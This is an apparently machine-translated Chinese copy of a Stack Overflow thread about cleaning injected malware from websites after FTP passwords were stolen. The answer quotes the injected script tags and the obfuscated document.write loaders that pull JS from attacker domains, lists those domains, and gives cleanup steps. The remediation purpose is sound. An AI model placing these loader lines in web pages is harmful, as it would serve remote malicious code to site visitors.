草庐IT

javascript - 如何从我的脚本中删除脚本病毒

coder 2024-05-10 原文

我已将以下代码自动添加到我的脚本中...

<script type="text/javascript" src="http://obscurewax.ru/Kilobyte.js"></script> 
<!--72628eb2e686638651ad69b6a34a630f-->

在每个页面的末尾,当我看到页面的源代码时,它会显示上面的代码,但是当我在记事本或任何编辑软件中打开该文件时,它只显示我的脚本..我如何从我所有的文件一次...

也让我知道为什么到目前为止会发生..

最佳答案

编辑 8 月 25 日:
添加的特定域和条目(下)
发现新域名 nuttypiano.com。

编辑 :
弄清楚了。这绝对是 Filezilla 窃取了我的 FTP 密码。
注意 .htaccess 文件和文件权限——它们似乎更改为 777。

也发生在我身上。它从 FTP 程序中获取了所有密码,然后更改了 PHP 和 js 文件以添加该行

<script type="text/javascript" src="http://obscurewax.ru/Queue.js">



主要针对 index.* 文件,其他针对的文件是 *.js 文件。

我相信最终的 js 文件名会有所不同,但您可以从 obscurwax.ru 域中跟踪它。

我有大约 8-10 个发生这种情况的网站。我的大多数网站都在运行 joomla。
在我目前观察到的情况下,它喜欢定位以单词开头的文件
指数。

在 joomla 安装中,大约有 122 个文件受此影响,几乎所有文件都在:
joomla_install/管理员
文件夹。

从服务器下载 joomla 安装很痛苦,因为它大约有 4-5 千个文件。不过,我遵循的策略是这样的。

将整个站点下载到一个文件夹中,运行文本搜索(我正在使用 TextCrawler):
obscurwax.ru

请注意具有此文件和文件夹的数量,更重要的是注意 js 文件名的所有变体。

搜索并替换所有 .js 文件变体,例如:

<script type="text/javascript" src="http://obscurewax.ru/Queue.js">
<script type="text/javascript" src="http://obscurewax.ru/Cablemodem.js">
<script type="text/javascript" src="http://obscurewax.ru/Kilobyte.js">



在 .js 文件中,您还会发现这种类型的代码:
document.write('<s'+'cript type="text/javascript" 
src="http://obscurewax.ru/AGP.js"></scr'+'ipt>'); // Found in .js files

全部替换为空 ('')。
您可以做的另一件事是:obscurwax.ru 和 example.com

我没有快速简便的方法来删除下面评论中的代码(我认为他们正在使用这些代码进行跟踪。)-但我认为如果您删除脚本链接,该评论不会受到伤害你。

发现不同的域:
  • nuttypiano.com(发现于 8 月 25 日)
  • pocketbloke.ru
  • yumeye.ru
  • microlightning.ru
  • riotassistance.ru
  • //Denis125 (在 .js 文件中注释。)

  • 要注意的特定行:
    <script type="text/javascript" src="http://obscurewax.ru/Beta_Software.js"></script>
    <script type="text/javascript" src="http://riotassistance.ru/Undo.js"></script>
    * Contributed by Open Web Technologies <http://openwebtech.ru/>
    Denis125 <webmaster@atlant.ru>
    // Author: Andrei Blagorazumov, a@fnr.ru
    document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Undo.js"></scri'+'pt>');
    document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Beta_Software.js"></scr'+'ipt>');
    <script type="text/javascript" src="http://nuttypiano.com/Hard_Copy.js"></script>
    <script type="text/javascript" src="http://nuttypiano.com/Facebook.js"></script>
    document.write('<s'+'cript type="text/javascript" src="http://nuttypiano.com/Facebook.js"></scri'+'pt>');
    

    注意:有时您将无法在源代码的 html 中看到此链接,但是文件会被加载,因为它隐藏在其中一个 JavaScript 中。确保您确实干净的一个好方法是实际进入并查看在您的页面加载时正在加载的 .js 文件,并检查是否有任何 .js 文件从可疑域加载。一个简单的方法是进入 chrome(ctrl + shift + i) 中的开发人员工具
    在资源选项卡中,您将看到脚本过滤器,使用它您可以在页面加载时跟踪所有 .js 文件的加载。 firefox 中的 firebug 插件也会让你看到这些信息。如果您的网站有多个部分(前端、后端),您希望访问网站的所有部分并检查是否加载了任何可疑的 .js 文件。

    非常重要
  • 更新您的防病毒扫描程序并在您的计算机上对病毒进行全面扫描。
  • 如果您正在使用 FTP 程序或您的代码编辑器具有 FTP 功能,您希望访问所有已存储密码的网站并检查它们是否受到影响。如果您的 FTP 程序/编辑器遭到入侵——几乎所有您存储 ftp 密码的网站都会受到影响。
  • 更改存储在程序中的所有 ftp 帐户的密码。
  • 卸载可疑程序并使用另一个程序或重新下载并安装它。

  • 这是 Web 开发人员可能发生的最糟糕的事情。这种攻击通常是通过诱使受害者(你和我)相信程序内部有 FTP 程序的更新,一旦你安装了更新——你的网站就会受到影响。

    我现在正在做这件事。如果您有更好/更短的方法来做到这一点。请分享。谢谢!

    关于javascript - 如何从我的脚本中删除脚本病毒,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3393888/

    有关javascript - 如何从我的脚本中删除脚本病毒的更多相关文章

    1. ruby - 如何使用 Nokogiri 的 xpath 和 at_xpath 方法 - 2

      我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div

    2. ruby - 如何从 ruby​​ 中的字符串运行任意对象方法? - 2

      总的来说,我对ruby​​还比较陌生,我正在为我正在创建的对象编写一些rspec测试用例。许多测试用例都非常基础,我只是想确保正确填充和返回值。我想知道是否有办法使用循环结构来执行此操作。不必为我要测试的每个方法都设置一个assertEquals。例如:describeitem,"TestingtheItem"doit"willhaveanullvaluetostart"doitem=Item.new#HereIcoulddotheitem.name.shouldbe_nil#thenIcoulddoitem.category.shouldbe_nilendend但我想要一些方法来使用

    3. python - 如何使用 Ruby 或 Python 创建一系列高音调和低音调的蜂鸣声? - 2

      关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。

    4. ruby-on-rails - 如何验证 update_all 是否实际在 Rails 中更新 - 2

      给定这段代码defcreate@upgrades=User.update_all(["role=?","upgraded"],:id=>params[:upgrade])redirect_toadmin_upgrades_path,:notice=>"Successfullyupgradeduser."end我如何在该操作中实际验证它们是否已保存或未重定向到适当的页面和消息? 最佳答案 在Rails3中,update_all不返回任何有意义的信息,除了已更新的记录数(这可能取决于您的DBMS是否返回该信息)。http://ar.ru

    5. ruby-on-rails - 'compass watch' 是如何工作的/它是如何与 rails 一起使用的 - 2

      我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t

    6. ruby - 如何将脚本文件的末尾读取为数据文件(Perl 或任何其他语言) - 2

      我正在寻找执行以下操作的正确语法(在Perl、Shell或Ruby中):#variabletoaccessthedatalinesappendedasafileEND_OF_SCRIPT_MARKERrawdatastartshereanditcontinues. 最佳答案 Perl用__DATA__做这个:#!/usr/bin/perlusestrict;usewarnings;while(){print;}__DATA__Texttoprintgoeshere 关于ruby-如何将脚

    7. ruby - 如何指定 Rack 处理程序 - 2

      Rackup通过Rack的默认处理程序成功运行任何Rack应用程序。例如:classRackAppdefcall(environment)['200',{'Content-Type'=>'text/html'},["Helloworld"]]endendrunRackApp.new但是当最后一行更改为使用Rack的内置CGI处理程序时,rackup给出“NoMethodErrorat/undefinedmethod`call'fornil:NilClass”:Rack::Handler::CGI.runRackApp.newRack的其他内置处理程序也提出了同样的反对意见。例如Rack

    8. ruby - 如何每月在 Heroku 运行一次 Scheduler 插件? - 2

      在选择我想要运行操作的频率时,唯一的选项是“每天”、“每小时”和“每10分钟”。谢谢!我想为我的Rails3.1应用程序运行调度程序。 最佳答案 这不是一个优雅的解决方案,但您可以安排它每天运行,并在实际开始工作之前检查日期是否为当月的第一天。 关于ruby-如何每月在Heroku运行一次Scheduler插件?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/8692687/

    9. ruby-on-rails - 如何从 format.xml 中删除 <hash></hash> - 2

      我有一个对象has_many应呈现为xml的子对象。这不是问题。我的问题是我创建了一个Hash包含此数据,就像解析器需要它一样。但是rails自动将整个文件包含在.........我需要摆脱type="array"和我该如何处理?我没有在文档中找到任何内容。 最佳答案 我遇到了同样的问题;这是我的XML:我在用这个:entries.to_xml将散列数据转换为XML,但这会将条目的数据包装到中所以我修改了:entries.to_xml(root:"Contacts")但这仍然将转换后的XML包装在“联系人”中,将我的XML代码修改为

    10. ruby - 我可以使用 Ruby 从 CSV 中删除列吗? - 2

      查看Ruby的CSV库的文档,我非常确定这是可能且简单的。我只需要使用Ruby删除CSV文件的前三列,但我没有成功运行它。 最佳答案 csv_table=CSV.read(file_path_in,:headers=>true)csv_table.delete("header_name")csv_table.to_csv#=>ThenewCSVinstringformat检查CSV::Table文档:http://ruby-doc.org/stdlib-1.9.2/libdoc/csv/rdoc/CSV/Table.html

    随机推荐